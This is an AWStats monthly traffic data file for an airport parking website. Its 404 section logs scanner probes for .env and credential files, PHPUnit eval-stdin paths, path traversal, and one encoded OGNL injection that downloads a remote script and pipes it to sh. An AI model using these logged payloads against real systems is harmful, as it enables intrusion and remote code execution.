AWSTATS DATA FILE 7.8 (build 20200416)
# If you remove this file, all statistics for date 202209 will be lost/reset.
# Last config file used to build this data file was /home/swift/tmp/awstats/ssl/awstats.swiftairportparking.co.uk.conf.
# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2023
POS_TIME 2703
POS_VISITOR 21006
POS_DAY 41641
POS_DOMAIN 3553
POS_LOGIN 4293
POS_ROBOT 4448
POS_WORMS 5466
POS_EMAILSENDER 5597
POS_EMAILRECEIVER 5740
POS_SESSION 42434
POS_SIDER 42642
POS_FILETYPES 5875
POS_DOWNLOADS 6087
POS_OS 6135
POS_BROWSER 6578
POS_SCREENSIZE 9226
POS_UNKNOWNREFERER 9300
POS_UNKNOWNREFERERBROWSER 10618
POS_ORIGIN 11537
POS_SEREFERRALS 11681
POS_PAGEREFS 11916
POS_SEARCHWORDS 12354
POS_KEYWORDS 12506
POS_MISC 2365
POS_ERRORS 12565
POS_CLUSTER 4149
POS_SIDER_404 12685
END_MAP
# LastLine = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime = Date of first visit for history file
# LastTime = Date of last visit for history file
# LastUpdate = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20221001000203 84 11439 6074826607800
FirstTime 20220901000501
LastTime 20220930225704
LastUpdate 20221001130933 84 0 82 1 0
TotalVisits 841
TotalUnique 524
MonthHostsKnown 0
MonthHostsUnknown 539
END_GENERAL
# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
RealPlayerSupport 0 0 0
TotalMisc 0 0 0
JavascriptDisabled 0 0 0
DirectorSupport 0 0 0
WindowsMediaPlayerSupport 0 0 0
QuickTimeSupport 0 0 0
JavaEnabled 0 0 0
FlashSupport 0 0 0
AddToFavourites 0 178 0
PDFSupport 0 0 0
END_MISC
# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 32 37 348256 123 141 637966
1 27 30 65510 113 133 660541
2 50 53 179142 120 159 701307
3 59 64 830346 118 161 690415
4 33 38 54777 129 155 697127
5 32 36 84054 149 186 657118
6 52 56 225019 148 174 709619
7 39 46 75089 142 165 648615
8 43 51 110315 138 174 818076
9 89 92 628608 152 176 705584
10 29 32 37641 122 142 678875
11 79 86 890123 138 160 652372
12 47 53 80981 159 186 770840
13 33 34 37315 118 134 649130
14 37 41 48480 144 159 667880
15 35 41 57104 133 152 668453
16 39 44 113067 190 217 716362
17 32 39 248278 103 119 650216
18 91 97 304092 112 143 843981
19 37 42 161393 125 138 651295
20 30 35 73452 129 146 640447
21 47 53 327139 104 122 675357
22 57 66 222086 162 186 792374
23 22 27 80010 110 121 666635
END_TIME
# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 39
us 503 540 1278548
ca 121 122 1163331
gb 92 122 662957
in 61 62 624818
ch 53 53 62487
ru 51 60 165343
cn 38 54 148798
fr 24 24 735978
nl 24 39 56652
au 14 14 16506
de 9 9 41960
jp 8 8 9432
kh 6 6 7074
bg 6 7 8224
ua 6 6 62639
se 6 12 13974
ir 5 5 16886
mn 5 5 5895
gr 5 5 46690
be 5 9 10495
dk 4 4 4716
it 3 3 13653
pk 3 5 5837
tw 2 2 23584
bh 2 2 2358
kr 1 1 1179
zz 1 1 1179
kz 1 1 12282
ma 1 1 1179
id 1 1 11301
ro 1 1 1179
my 1 1 1179
cz 1 1 12286
es 1 1 12281
al 1 1 1179
vg 1 1 12283
vn 1 1 12282
uz 2 2 2358
tr 1 1 11295
END_DOMAIN
# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER
# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN
# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 23
no_user_agent 1588 14436875 20220930230403 12
bingbot/ 155 167458 20220930215308 28
AhrefsBot/ 143 139221 20220928072835 54
Applebot/ 77 78633 20220930180051 21
YandexBot/ 75 67753 20220930160245 38
Googlebot/ 62 66778 20220930235003 30
Go\-http\-client/ 41 47970 20220930151800 3
unknown 25 14605 20220930013338 25
bot[\s_+:,\.\;\/\\-] 24 15240 20220928140728 24
crawl 12 13060 20220930220929 2
MJ12bot/ 12 9796 20220925205948 8
curl 11 10611 20220926123225 0
(firefox/)([0-9]\.|[0-1][0]\.) 9 10611 20220930211336 0
survey 6 155982 20220910104206 0
java 3 3537 20220922161322 0
libwww\-perl 2 1455 20220922111752 0
Googlebot\-Image/ 2 2300 20220918113232 0
ng/1\. 1 1179 20220916051630 0
Sogou[\x20]web[\x20]spider/ 1 635 20220918150315 1
SurdotlyBot/ 1 1179 20220920100339 0
Python\-urllib/ 1 1179 20220915181120 0
Baiduspider/ 1 1179 20220907045016 0
yandex 1 1150 20220930160249 0
END_ROBOT
# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS
# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER
# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER
# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 8
html 886 1856375 0 0
php 156 1809759 0 0
jpg 4 707159 0 0
ico 116 133400 0 0
env 2 23581 0 0
Unknown 3 102105 0 0
css 2 23639 0 0
xml 24 626259 0 0
END_FILETYPES
# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 0
END_DOWNLOADS
# OS ID - Hits
BEGIN_OS ID - Hits - Pages 26
winnt 3 3
win8 13 13
win10 498 460
macosx11 19 19
winvista 5 5
macosx9 1 1
bsdopenbsd 2 2
androidkitkat 24 24
androidoreo 2 2
macosx15 90 78
androidnougat 17 17
macosx 3 3
win7 41 27
android10 5 4
macosx10 7 7
macosx13 1 1
linux 104 99
androidlollipop 1 1
macosx12 10 10
ios_iphone 10 8
androidmarshmallow 5 5
winxp 7 7
android 54 36
win8.1 3 3
linuxubuntu 7 6
Unknown 261 230
END_OS
# Browser ID - Hits - Pages
BEGIN_BROWSER 121
firefox77.0 1 1
chrome102.0.0.0 1 1
chrome91.0.4472.114 2 2
firefox91.0 1 1
chrome49.0.2623.112 5 4
firefox 1 1
chrome20.0.1132.57 2 2
chrome50.0.2661.102 2 2
chrome74.0.3729.169 5 5
chrome52.0.2762.27 1 1
mozilla 74 55
firefox65.0 4 2
chrome59.0.3071.115 2 2
firefox101.0 11 11
chrome85.0.4183.83 2 1
chrome14.0.1335.65 2 2
chrome84.0.4147.105 2 2
chrome83.0.4103.61 3 3
chrome42.0.2311.90 1 1
chrome89.0.4389.114 19 19
chrome90.0.4430.93 3 3
chrome41.0.2225.0 5 5
chrome101.0.4951.0 1 1
chrome103.0.5060.114 2 2
chrome41.0.2227.0 1 1
chrome80.0.3987.122 2 2
chrome103.0.0.0 2 2
chrome69.0.3497.81 1 1
chrome35.0.1916.47 1 1
chrome91.0.4472.124 1 1
chrome104.0.0.0 12 8
chrome99.0.4844.88 48 31
chrome36.0.1985.67 1 1
firefox95.0 6 6
chrome39.0.2635 1 1
chrome68.0.3440.106 1 1
msie11.0 3 3
chrome80.0.3987.132 2 2
chrome105.0.0.0 41 25
safari12.1.2 1 1
chrome67.0.3396.87 1 1
chrome97.0.4692.99 1 1
chrome60.0.3112.113 122 122
chrome41.0.2228.0 6 6
chrome60.0.3112.90 5 5
chrome54.0.1279 1 1
chrome24.0.1292.0 1 1
chrome45.0.69 1 1
chrome86.0.4 1 0
chrome102.0.5005.124 3 3
firefox53.6.11 2 2
chrome47.0.1890 1 1
chrome60.0.3009.86 1 1
firefox104.0 4 2
safari 7 6
chrome89.0.4389.82 3 3
chrome83.0.4103.97 39 39
chrome81.0.4044.129 28 28
edge16 6 3
chrome103.0.5060.53 4 4
chrome103.0.5060.134 1 1
firefox79.0 13 11
chrome63.0.2213 1 1
chrome95.0.4638.69 13 4
chrome94.0.4606.61 3 3
safari15.0 1 0
chrome71.0.3578.98 2 2
chrome99.0.4844.84 1 1
safari10.1.2 6 6
chrome37.0.2062.124 1 1
android 24 24
chrome98.0.4758.132 1 1
chrome90.0.4427.0 1 1
chrome39.0.2171.95 6 6
chrome29.0.1547.2 5 5
safari13.4.1 1 1
chrome96.0.4664.110 68 68
chrome98.0.4758.102 12 12
chrome58.0.3029.21 1 1
chrome74.0.3729.131 4 4
chrome52.0.3047.72 1 1
chrome66.0.3359.117 4 4
chrome91.0.4472.120 1 1
chrome79.0.3945.93 1 1
msie10.0 3 3
chrome90.0.4430.72 4 4
chrome84.0.4131.4 2 2
chrome52.0.3287.98 4 4
chrome53.0.2785.143 2 2
chrome88.0.4324.190 10 10
chrome90.0.4430.86 1 1
chrome58.0.3029.110 1 1
chrome65.0.3325.181 3 3
chrome54.0.2840.98 4 4
chrome57.0.3095.70 1 1
chrome24.0.1295.0 1 1
firefox47.0 16 16
chrome60.0.3112.107 15 15
netscape5.0 75 74
chrome79.0.3945.130 3 3
chrome90.0.4430.85 99 97
chrome81.0.4044.138 1 1
firefox73.0 8 4
firefox58.0 7 7
firefox103.0 1 1
firefox68.0 1 1
chrome101.0.4951.41 1 1
chrome71.0.3578.80 1 1
firefox83.0 2 2
chrome45.0.2454.101 1 1
Unknown 126 114
chrome105.0.5195.102 1 1
chrome63.0.3239.132 14 1
safari14.1.1 1 1
chrome78.0.3904.108 53 53
chrome80.0.3987.149 1 1
firefox80.0 11 0
chrome36.0.1985.125 2 2
chrome70.0.3538.77 3 3
chrome61.0.3163.128 2 2
firefox96 27 27
END_BROWSER
# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE
# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 22
url 20220914004237
req/v3_(https://github.com/imroc/req) 20220910225520
python-httpx/0.23.0 20220925112006
IDG/EU_(http://spaziodati.eu/) 20220907174909
https://gdnplus.com:Gather_Analyze_Provide. 20220903095855
Python/3.8_aiohttp/3.8.1 20220926174048
Mozilliqa 20220930060720
Mozilla/5.0_(compatible;_Nmap_Scripting_Engine;_https://nmap.org/book/nse.html) 20220928145303
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers'_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20220930223120
Mozilla/5.0_(compatible;_CensysInspect/1.1;__https://about.censys.io/) 20220930220055
python-requests/2.26.0 20220930070904
'Mozilla/5.0_project_patchwatch' 20220923081832
(.*?) 20220913134825
Mozilla/5.0_zgrab/0.x 20220930215155
(.*?)<\\/title> 20220904175359
l9tcpid/v1.1.0 20220921194540
xh/0.16.1 20220930012022
Mozilla/5.0 20220930221614
python-requests/2.27.1 20220917024757
python-requests/2.22.0 20220906181803
Mozilla/5.0_(compatible;_InternetMeasurement/1.0;__https://internet-measurement.com/) 20220928203424
l9explore/1.3.0 20220921194549
END_UNKNOWNREFERER
# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 16
python-requests/2.22.0 20220906181803
python-requests/2.26.0 20220930070904
l9explore/1.3.0 20220921194549
(.*?) 20220913134825
https://gdnplus.com:Gather_Analyze_Provide. 20220903095855
IDG/EU_(http://spaziodati.eu/) 20220907174909
python-httpx/0.23.0 20220925112006
req/v3_(https://github.com/imroc/req) 20220910225520
xh/0.16.1 20220930012022
l9tcpid/v1.1.0 20220921194540
(.*?)<\\/title> 20220904175359
url 20220914004237
python-requests/2.27.1 20220917024757
Mozilliqa 20220930060720
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers'_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20220930223120
Python/3.8_aiohttp/3.8.1 20220926174048
END_UNKNOWNREFERERBROWSER
# Origin - Pages - Hits
BEGIN_ORIGIN 6
From0 863 944
From1 112 114
From2 28 32
From3 51 55
From4 17 48
From5 0 0
END_ORIGIN
# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 5
www_google_co_uk 3 3
www_google_com_hk 1 1
www_google_com 19 19
baidu 2 2
www_bing_com 3 7
END_SEREFERRALS
# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 7
http://cpanel.swiftairportparking.co.uk/wp-login.php 17 17
http://whm.swiftairportparking.co.uk/wp-login.php 16 16
http://whm.swiftairportparking.co.uk 9 9
http://195.238.175.198:80 6 6
http://cpanel.swiftairportparking.co.uk 2 2
https://195.238.175.198:443 1 1
https://195.238.175.198 0 4
END_PAGEREFS
# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS
# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS
# Errors - Hits - Bandwidth
BEGIN_ERRORS 4
401 94 4563
421 17 5474
500 2 40
404 1205 0
END_ERRORS
# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 222
/zimlet/com_zimbra_webex/httpPost.jsp 1 -
//.env 1 -
//administrator/.env 1 https://www.google.com/
/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application 35 -
/adminer.php 1 -
/mPlayer 1 -
/zimbra/h/search 1 -
//old/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
/help.php 2 www.google.com
/login_sid.lua 1 -
//vendor/.env 1 https://www.google.com/
/idx_config/ 3 -
/agc/timeclock.php 1 -
/.json 1 -
//phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
/.git/config 23 -
/.git/HEAD 2 -
/feeds/ 1 https://www.swiftairportparking.co.uk
/9rQ` 1 -
/index.xml 1 https://www.swiftairportparking.co.uk
/app-ads.txt 6 -
//api/.env 1 https://www.google.com/
//web/.env 1 https://www.google.com/
/s/lkx/_/ 1 -
/remote/fgt_lang 53 -
/backup.zip 1 -
/static../.git/config 1 -
//core/app/.env 1 https://www.google.com/
/sites/default/files/ 4 binance.com
//tools/.env 1 https://www.google.com/
/push.html 1 -
/dns-query 4 -
/mgmt/tm/util/bash 1 -
/misc/drupal.js 3 -
//vendor/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
//lib/.env 1 https://www.google.com/
//dev/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
/SiteLoader 1 -
/v2/_catalog 5 -
/a 1 -
/actuator/health 14 -
/v31217.html 1 https://www.baidu.com/s
/admin/config.php 2 -
/query 4 -
//psnlink/.env 1 https://www.google.com/
/cgi-bin/config.exp 1 -
/wp-admin/css/ 4 binance.com
/.remote 1 https://www.google.com/
/console/ 5 -
/backup.sql 1 -
/evox/about 1 -
/9Dhw 1 -
/cgi-bin/../../../../../../../../../etc/hosts 5 -
/.production 1 https://www.google.com/
///ext-js/app/common/zyFunction.js 1 -
/uploads/ 4 binance.com
/.well-known/security.txt 12 -
//laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
/admin//config.php 3 -
//sites/all/libraries/mailchimp/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
/owa/auth/logon.aspx 60 -
/icons/sphere1.png 4 -
/wp-includes/css/wp-config.php 11 anonymousfox.co
/ 271 -
/service/error/sfdc_preauth.jsp 1 -
/jenkins/login 1 -
//core/.env 1 https://www.google.com/
//en/.env 1 https://www.google.com/
/wp-includes/shell20211028.php 7 www.google.com
/.env.backup 1 -
//v1/.env 1 https://www.google.com/
/.local 1 https://www.google.com/
/remote/login 2 -
/backup.tar 1 -
/resolve 4 -
//lab/.env 1 https://www.google.com/
/Public/home/js/check.js 2 -
/index.rss 1 https://www.swiftairportparking.co.uk
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 21 -
//exapi/.env 1 https://www.google.com/
/version 10 -
//wp-content/plugins/mm-plugin/inc/vendors/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
/nmaplowercheck1663418465 1 -
/laravel 2 -
/wp-includes/js/quicktags.js 1 -
/WuEL 1 -
//vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
//lib/phpunit/phpunit/Util/PHP/eval-stdin.php 1 https://www.google.com/
//lib/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
//wp-content/plugins/cloudflare/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
/system_api.php 5 -
/server-status 7 -
//api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
/flu/403.html 5 -
/wp-login.php 2 -
/cgi-bin/mainfunction.cgi/cvmcfgupload 1 -
/.aws/.credentials.php 1 -
/pods 1 -
//blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
/.aws/credentials.php 1 -
/api/search 7 -
/_profiler/phpinfo 4 -
/feed 1 -
//admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
//lib/phpunit/Util/PHP/eval-stdin.php 1 https://www.google.com/
//phpunit/Util/PHP/eval-stdin.php 1 https://www.google.com/
//panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
/admin/controller/extension/extension/ 4 binance.com
/webfig/ 2 -
/rss.xml 1 https://www.swiftairportparking.co.uk
/owa/auth/x.js 27 -
//public/.env 1 https://www.google.com/
/mifs/. 4 https://195.238.175.198:443
//vendor/phpunit/phpunit/Util/PHP/eval-stdin.php 1 https://www.google.com/
/Autodiscover/Autodiscover.xml 7 -
//database/.env 1 https://www.google.com/
//saas/.env 1 https://www.google.com/
//new/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
//config/.env 1 https://www.google.com/
/xltavrat.php 2 www.google.com
/s/3139352e3233382e3137352e313938/_/ 4 -
/login 5 -
///remote/fgt_lang 1 -
/.c9/metadata/environment/.env 1 -
//login_sid.lua 2 -
/owa/ 2 -
/api/v1 1 -
/backup.tar.gz 1 -
/telescope/requests 6 -
/dqgqoeCXckuwPtxov 10 -
/__tests__/test-become/.env 1 -
/solr/ 3 -
/ads.txt 42 -
//lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
/.well-known/assetlinks.json 50 -
/rss 1 -
//a2billing/customer/templates/default/footer.tpl 4 -
//assets/.env 1 https://www.google.com/
//cronlab/.env 1 https://www.google.com/
/Electron/download/windows/\\Windows\\win.ini 10 -
/c/version.js 5 -
/script 1 -
/about 4 -
/backup.rar 1 -
/ab2h 21 -
//backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
/meet-and-gree 1 -
//wp-content/plugins/dzs-videogallery/class_parts/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
/.DS_Store 9 -
/debug/default/view 5 -
/_static/.env 1 -
/sdk 1 -
/agent/timeclock.php 1 -
/vasplusCaptcha.php 1 https://www.swiftairportparking.co.uk/contactus.php
/_ignition/execute-solution 5 -
/.awscredentials 1 -
/.credentials.php 1 -
/Electron/download/windows/%5CProgram%20Files%5C3CX%20Phone%20System%5CData%5CDB%5Cbase%5C16384%5C16393 1 -
/cgi-bin/../../../../bin/sh 5 -
/.docker/laravel/app/.env 1 -
/phpinf0.php 1 -
/epa/scripts/win/nsepa_setup.exe 1 -
/login.action 5 -
//core/Datavase/.env 1 https://www.google.com/
/redfish/v1 1 -
/aws.credentials 1 -
/YhMN 1 -
/cgi-bin/mainfunction.cgi 1 -
//site/.env 1 https://www.google.com/
/manager/html 1 -
/zimbraAdmin/ 1 -
/feed/ 1 https://www.swiftairportparking.co.uk
/Telerik.Web.UI.WebResource.axd 2 -
/core/.env 6 -
/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cd%20%2Ftmp%3Bwget%20-qO-%20%20http%3A%2F%2F198.98.49.79%2Fexp.sh%20%7C%20sh%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymph 1 -
/ReportServer 4 -
/.aws/config.php 1 -
/stream/live.php 5 -
//sitemaps/.env 1 https://www.google.com/
/T0dt 1 -
/api/geojson 1 -
/.env 71 -
//cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
/feeds 1 https://www.swiftairportparking.co.uk
/wp-commentin.php 3 www.google.com
/streaming/clients_live.php 5 -
//cron/.env 1 https://www.google.com/
/cgi-bin/kerbynet 1 -
/apple-touch-icon.png 1 -
/config.json 7 -
//protected/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
/autodiscover/autodiscover.json 9 -
/sitemap 2 -
/.docker/.env 1 -
/core/misc/drupal.js 3 -
//uploads/.env 1 https://www.google.com/
/frontend_dev.php/$ 1 -
/actuator/gateway/routes 23 -
/explore 4 -
/DkDi 1 -
//phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
//admin/.env 1 https://www.google.com/
/showLogin.cc 2 -
/health 1 -
/static/admin/javascript/hetong.js 2 -
//demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
//apps/.env 1 https://www.google.com/
//laravel/.env 1 https://www.google.com/
/download/file.ext 1 -
/index.rdf 1 https://www.swiftairportparking.co.uk
//phpunit/phpunit/Util/PHP/eval-stdin.php 1 https://www.google.com/
//v2/.env 1 https://www.google.com/
//vendor/phpunit/Util/PHP/eval-stdin.php 1 https://www.google.com/
//www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
/stalker_portal/c/version.js 5 -
/files/ 4 binance.com
/HNAP1 1 -
//wp-content/plugins/jekyll-exporter/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
/wp-content/themes/seotheme/mar.php 15 www.google.com
//app/.env 1 https://www.google.com/
/ab2g 27 -
/service/extension/backup/mboximport 6 -
END_SIDER_404
# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 25 first Hits must be first (order not required for others)
BEGIN_VISITOR 539
135.181.254.205 45 46 565649 20220905115127
49.12.213.244 43 44 497658 20220926093216
152.89.196.211 38 38 44802 20220930063637
178.32.215.167 19 19 730083 20220905032641
94.102.61.8 19 30 35051 20220930070904
128.14.136.18 17 17 20043 20220930042705
152.89.196.62 15 15 17685 20220909055014
183.136.225.35 13 23 26827 20220930011813
23.251.102.74 11 11 12969 20220930094637
128.14.133.58 10 10 11790 20220929103052
128.1.248.42 9 9 10611 20220927031436
193.118.53.194 9 9 10611 20220925122732
46.16.215.158 9 9 9946 20220912020658
209.141.41.193 8 8 9432 20220923165507
167.235.139.196 8 8 90519 20220922063007
128.14.209.162 8 8 9432 20220930085819
209.141.34.187 8 8 19542 20220930225704
128.1.248.26 8 8 9432 20220930023742
128.14.134.170 7 7 8253 20220929070001
3.10.234.136 7 8 10839 20220907144104
205.185.122.184 7 7 8253 20220927223648
205.185.121.69 7 7 18368 20220928201936
128.14.141.34 7 7 8253 20220929140241
205.185.116.25 6 6 7074 20220927223700
20.68.163.198 6 6 27305 20220914122221
205.210.31.14 1 1 1179 20220909234941
192.241.215.252 1 1 1179 20220903050413
63.33.70.81 1 1 0 20220918073312
167.71.142.108 1 1 1179 20220915033645
135.181.254.24 2 2 63694 20220930162932
138.68.173.194 2 2 2358 20220906133247
89.248.167.131 1 2 2329 20220917052134
208.100.26.247 1 1 1179 20220908013147
5.161.87.11 1 1 1123 20220923014920
185.142.236.41 1 2 2329 20220922110838
103.203.57.25 1 1 1179 20220909152648
54.190.2.74 2 2 2358 20220924184137
195.37.190.89 2 2 2358 20220910112456
170.130.187.50 1 1 1179 20220903095855
43.129.219.189 2 2 2358 20220930132216
104.219.251.247 1 1 11301 20220921224728
198.235.24.159 1 1 1179 20220906102033
106.75.100.66 1 2 2329 20220910230754
198.235.24.141 2 2 2358 20220924153159
34.218.45.30 1 1 1179 20220929181649
47.99.62.79 1 1 1179 20220901042806
217.205.218.246 2 4 4658 20220914142746
20.13.124.32 2 2 795 20220925135702
50.116.16.97 1 1 0 20220923001008
35.92.184.113 1 1 1179 20220907183905
90.195.42.98 1 2 2329 20220902104147
128.199.75.50 1 1 1179 20220901121322
205.210.31.130 1 1 1179 20220916231131
209.141.36.112 5 5 5895 20220927223710
205.210.31.167 2 2 2358 20220930101751
64.20.63.126 2 2 2358 20220926023910
192.241.208.58 1 1 1179 20220908075315
52.39.193.247 1 1 1179 20220923182601
185.180.143.72 2 2 2358 20220929000851
51.142.197.207 1 1 1179 20220901111117
106.75.16.152 1 1 1179 20220926083629
192.241.220.243 1 1 1179 20220909080728
185.220.101.179 1 2 2329 20220912194812
124.156.223.97 1 1 1179 20220918065651
162.142.125.211 1 2 2329 20220922233051
167.71.41.128 1 1 1179 20220927202820
165.154.6.176 1 1 1179 20220919213718
164.52.24.190 1 2 2329 20220926021605
205.210.31.152 1 1 38397 20220904182132
139.59.60.239 1 1 1179 20220909023757
45.83.66.95 0 1 1150
20.51.235.100 1 1 1179 20220923111620
161.35.188.242 2 2 2358 20220905122951
103.152.164.103 1 1 12285 20220907214159
165.232.183.66 1 1 12289 20220903080049
128.14.134.134 5 5 5895 20220926024301
213.226.123.154 4 4 4716 20220922133714
71.6.146.185 1 2 2329 20220923210746
71.6.146.130 1 2 2329 20220906001543
159.203.86.11 1 2 2329 20220923201659
192.241.195.186 1 1 1179 20220907075104
71.6.232.8 2 2 2358 20220926011858
213.205.192.254 3 4 4687 20220910153155
80.3.141.42 3 4 4687 20220922211244
198.235.24.133 1 1 1179 20220925150057
111.90.147.112 1 1 1179 20220925041950
163.123.143.186 1 1 1179 20220917181146
34.219.57.244 1 1 1179 20220919182233
91.142.85.32 1 1 11287 20220930060720
205.210.31.183 1 1 1179 20220910040011
143.92.32.216 1 1 1179 20220904175359
107.182.129.190 1 1 1179 20220905170054
159.89.113.171 1 1 1179 20220929162556
161.35.86.181 3 3 3481 20220914055123
51.104.237.138 1 1 1179 20220929015635
90.242.11.43 1 2 2329 20220919175110
192.241.213.118 1 1 1179 20220906075651
20.89.88.34 1 1 1179 20220927203631
51.210.99.98 1 1 11299 20220919045900
198.235.24.41 1 1 1179 20220930071245
46.166.139.111 0 1 1150
205.210.31.135 2 2 2358 20220925091818
192.241.205.109 1 1 1179 20220922090634
66.29.138.73 1 1 12285 20220903052632
